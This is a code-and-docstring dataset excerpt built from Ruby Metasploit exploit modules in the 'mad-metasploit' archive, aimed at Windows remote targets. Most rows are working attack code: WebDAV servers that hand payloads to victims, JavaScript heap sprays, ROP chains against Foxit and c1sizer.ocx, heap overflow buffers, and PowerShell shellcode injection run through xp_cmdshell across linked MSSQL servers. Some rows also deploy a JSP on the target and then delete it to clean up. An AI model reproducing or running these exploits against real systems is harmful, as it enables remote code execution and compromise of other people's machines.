code
stringlengths 26
124k
| docstring
stringlengths 23
125k
| func_name
stringlengths 1
98
| language
stringclasses 1
value | repo
stringlengths 5
53
| path
stringlengths 7
151
| url
stringlengths 50
211
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20944.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20944.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
if path !~ /\/$/
if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20944.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20944.rb
|
MIT
|
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.exe"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
end
|
This method rejects requests that are known to break exploitation
|
blacklisted_path?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20944.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20944.rb
|
MIT
|
def get_random_spray(t, js_code, js_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{t['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
|
Spray published by corelanc0d3r
Exploit writing tutorial part 11 : Heap Spraying Demystified
See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
get_random_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21840.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21840.rb
|
MIT
|
def resource_uri
path = random_uri
path << random_uri
return path
end
|
Returns a random URI path which allows to reach the vulnerable code
|
resource_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21841.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21841.rb
|
MIT
|
def random_uri
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
end
|
Generates a random URI for use with making finger printing more
challenging.
|
random_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21841.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21841.rb
|
MIT
|
def get_random_spray(t, js_code, js_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{t['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
|
Spray published by corelanc0d3r
Exploit writing tutorial part 11 : Heap Spraying Demystified
See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
get_random_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21841.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21841.rb
|
MIT
|
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@payload_path}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
cli.fs.file.rm(@payload_path)
print_good("#{@peer} - #{@payload_path} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@payload_path}: #{e.message}")
end
end
|
Remove the .aspx if we get a meterpreter.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21847.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21847.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21888.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21888.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''
if (path =~ /\.chm/i)
print_status("Sending CHM multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21888.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21888.rb
|
MIT
|
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
@var_mof_name = rand_text_alpha(7)
@var_exe_name = rand_text_alpha(7)
payload_contents = generate_payload_exe
mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe")
@chm_payload = generate_payload_chm(payload_contents)
@chm_mof = generate_mof_chm(mof_contents)
super
end
|
When exploit is called, generate the chm contents
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/21888.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/21888.rb
|
MIT
|
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/SecurityManager.cc'
})
if res and res.body =~ /\<title\>Security Manager Plus\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
|
A very gentle check to see if Security Manager Plus exists or not
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/22094.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/22094.rb
|
MIT
|
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
# jsp = @outpath.gsub(/\//, "\\\\")
# jsp = jsp.gsub(/"/, "")
vprint_status("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}")
cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}")
print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
end
end
|
Remove the JSP once we get a shell.
We cannot delete the executable because it will still be in use.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/22094.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/22094.rb
|
MIT
|
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
cli.put(@native_payload)
service.close_client(cli)
end
|
Transfer the malicious executable to our victim
|
on_client_connect
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/22094.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/22094.rb
|
MIT
|
def exploit
# Avoid passing this as an argument for performance reasons
# This is in base64 is make sure our file isn't mangled
@native_payload = [generate_payload_exe].pack("m*")
@native_payload_name = rand_text_alpha(rand(6)+3)
@jsp_name = rand_text_alpha(rand(6)+3)
@outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\""
begin
t = framework.threads.spawn("reqs", false) { inject_exec }
print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
super
ensure
t.kill
end
end
|
The server must start first, and then we send the malicious requests
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/22094.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/22094.rb
|
MIT
|
def on_request_uri(cli, request)
vprint_status("on_request_uri called")
if (not @exe_data)
print_error("A request came in, but the EXE archive wasn't ready yet!")
return
end
print_good("Sending the EXE payload to the target...")
send_response(cli, @exe_data)
@exe_sent = true
end
|
Handle incoming requests from the target
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/22903.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/22903.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23203.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23203.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''
if (path =~ /\.dll$/i)
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23203.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23203.rb
|
MIT
|
def query_builder(path,sql,ticks,execute)
# Temp used to maintain the original masterList[x]["path"]
temp = Array.new
path.each {|i| temp << i}
# Actual query - defined when the function originally called - ticks multiplied
if path.length == 0
return execute.gsub("'","'"*2**ticks)
# openquery generator
else
sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
return sql
end
end
|
---------------------------------------------------------------------
Method that builds nested openquery statements using during crawling
---------------------------------------------------------------------
|
query_builder
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23649.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23649.rb
|
MIT
|
def query_builder_rpc(path,sql,ticks,execute)
# Temp used to maintain the original masterList[x]["path"]
temp = Array.new
path.each {|i| temp << i}
# Actual query - defined when the function originally called - ticks multiplied
if path.length == 0
return execute.gsub("'","'"*2**ticks)
# Openquery generator
else
exec_at = temp.shift
sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
return sql
end
end
|
---------------------------------------------------------------------
Method that builds nested openquery statements using during crawling
---------------------------------------------------------------------
|
query_builder_rpc
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23649.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23649.rb
|
MIT
|
def add_host(name,path,parse_results)
# Used to add new servers to masterList
server = Hash.new
server["name"] = name
temppath = Array.new
path.each {|i| temppath << i }
server["path"] = [temppath]
server["path"].first << name
server["done"] = 0
parse_results.each {|stuff|
server["db_user"] = stuff.at(1)
server["db_sysadmin"] = stuff.at(2)
server["db_version"] = stuff.at(3)
server["db_os"] = stuff.at(4)
server["numlinks"] = stuff.at(6)
}
return server
end
|
---------------------------------------------------------------------
Method for adding new linked database servers to the crawl list
---------------------------------------------------------------------
|
add_host
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23649.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23649.rb
|
MIT
|
def write_to_report(i,server,parse_results,linked_server_table,link_status)
parse_results.each {|stuff|
# Parse server information
db_link_user = stuff.at(1)
db_link_sysadmin = stuff.at(2)
db_link_version = stuff.at(3)
db_link_os = stuff.at(4)
# Add link server to the reporting array and set link_status to 'up'
linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
return linked_server_table
}
end
|
---------------------------------------------------------------------
Method for generating the report and loot
---------------------------------------------------------------------
|
write_to_report
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23649.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23649.rb
|
MIT
|
def powershell_upload_exec(path)
# Create powershell script that will inject shell code from the selected payload
myscript ="$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"
# Unicode encode powershell script
mytext_uni = Rex::Text.to_unicode(myscript)
# Base64 encode unicode
mytext_64 = Rex::Text.encode_base64(mytext_uni)
# Generate random file names
rand_filename = rand_text_alpha(8)
var_duplicates = rand_text_alpha(8)
# Write base64 encoded powershell payload to temp file
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
# Also, line number tracking was added so that duplication lines caused by nested linked
# queries could be found and removed.
print_status("Deploying payload...")
linenum = 0
mytext_64.scan(/.{1,2500}/).each {|part|
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
linenum = linenum+1
}
# Remove duplicate lines from temp file and write to new file
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
# Remove tracking tags from lines
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql, false) if mssql_login_datastore
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
# If running on 64bit system, 32bit powershell called from syswow64
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
powershell_64 = Rex::Text.encode_base64(powershell_uni)
# Setup query
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
sql = query_builder(path,"",0,execute)
# Execute the playload
print_status("Executing payload...")
result = mssql_query(sql, false) if mssql_login_datastore
# Remove payload data from the target server
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
sql = query_builder(path,"",0,execute)
result = mssql_query(sql,false)
end
|
----------------------------------------------------------------------
Method that delivers shellcode payload via powershell thread injection
----------------------------------------------------------------------
|
powershell_upload_exec
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/23649.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/23649.rb
|
MIT
|
def win7_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
0x41414141, # Filler (RETN offset compensation)
0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll]
0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
0x00001000, # 0x00001000-> edx
0x1000d9ec, # XOR EDX, EDX # RETN
0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
junk,
0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
junk,
junk,
junk,
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
0x00000001, # 0x00000001-> ebx
0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
nops,
0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
].flatten.pack("V*")
return rop_gadgets
end
|
Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
|
win7_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/24502.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/24502.rb
|
MIT
|
def nObfu(str)
return str
end
|
Override the mixin obfuscator since it doesn't seem to work here.
|
nObfu
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/24876.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/24876.rb
|
MIT
|
def fake_object(size)
object = "B" * 8 # metadata
object << "D" * size # fake object
return object
end
|
Objects filling aren't randomized because
this combination make exploit more reliable.
|
fake_object
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/25814.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/25814.rb
|
MIT
|
def overflow_xp
buf = rand_text_alpha(0x10000)
# Start to overflow
buf << fake_object(0x40)
buf << fake_object(0x30)
buf << fake_object(0x30)
buf << fake_object(0x40)
buf << fake_object(0x10)
buf << fake_object(0x10)
buf << fake_object(0x20)
buf << fake_object(0x10)
buf << fake_object(0x30)
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end
|
Check the memory layout documentation at the end of the module
|
overflow_xp
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/25814.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/25814.rb
|
MIT
|
def overflow_xp_ie8
buf = [
junk, # padding
0x1001b557, # pop eax # c1sizer.ocx
0x0c0c0c14, # eax
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
].pack("V*")
buf << rand_text_alpha(0x10000-16)
# Start to overflow
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end
|
Check the memory layout documentation at the end of the module
|
overflow_xp_ie8
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/25814.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/25814.rb
|
MIT
|
def overflow_w7
buf = [
junk, # padding
0x1001b557, # pop eax # c1sizer.ocx
0x0c0c0c14, # eax
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
].pack("V*")
buf << rand_text_alpha(0x10000-16)
# Start to oveflow
buf << fake_object(0x3f8)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end
|
Check the memory layout documentation at the end of the module
|
overflow_w7
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/25814.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/25814.rb
|
MIT
|
def trigger_w7
target = rand_text_alpha(5 + rand(3))
target2 = rand_text_alpha(5 + rand(3))
target3 = rand_text_alpha(5 + rand(3))
target4 = rand_text_alpha(5 + rand(3))
target5 = rand_text_alpha(5 + rand(3))
target6 = rand_text_alpha(5 + rand(3))
target7 = rand_text_alpha(5 + rand(3))
target8 = rand_text_alpha(5 + rand(3))
target9 = rand_text_alpha(5 + rand(3))
target10 = rand_text_alpha(5 + rand(3))
target11 = rand_text_alpha(5 + rand(3))
target12 = rand_text_alpha(5 + rand(3))
target13 = rand_text_alpha(5 + rand(3))
target14 = rand_text_alpha(5 + rand(3))
target15 = rand_text_alpha(5 + rand(3))
objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
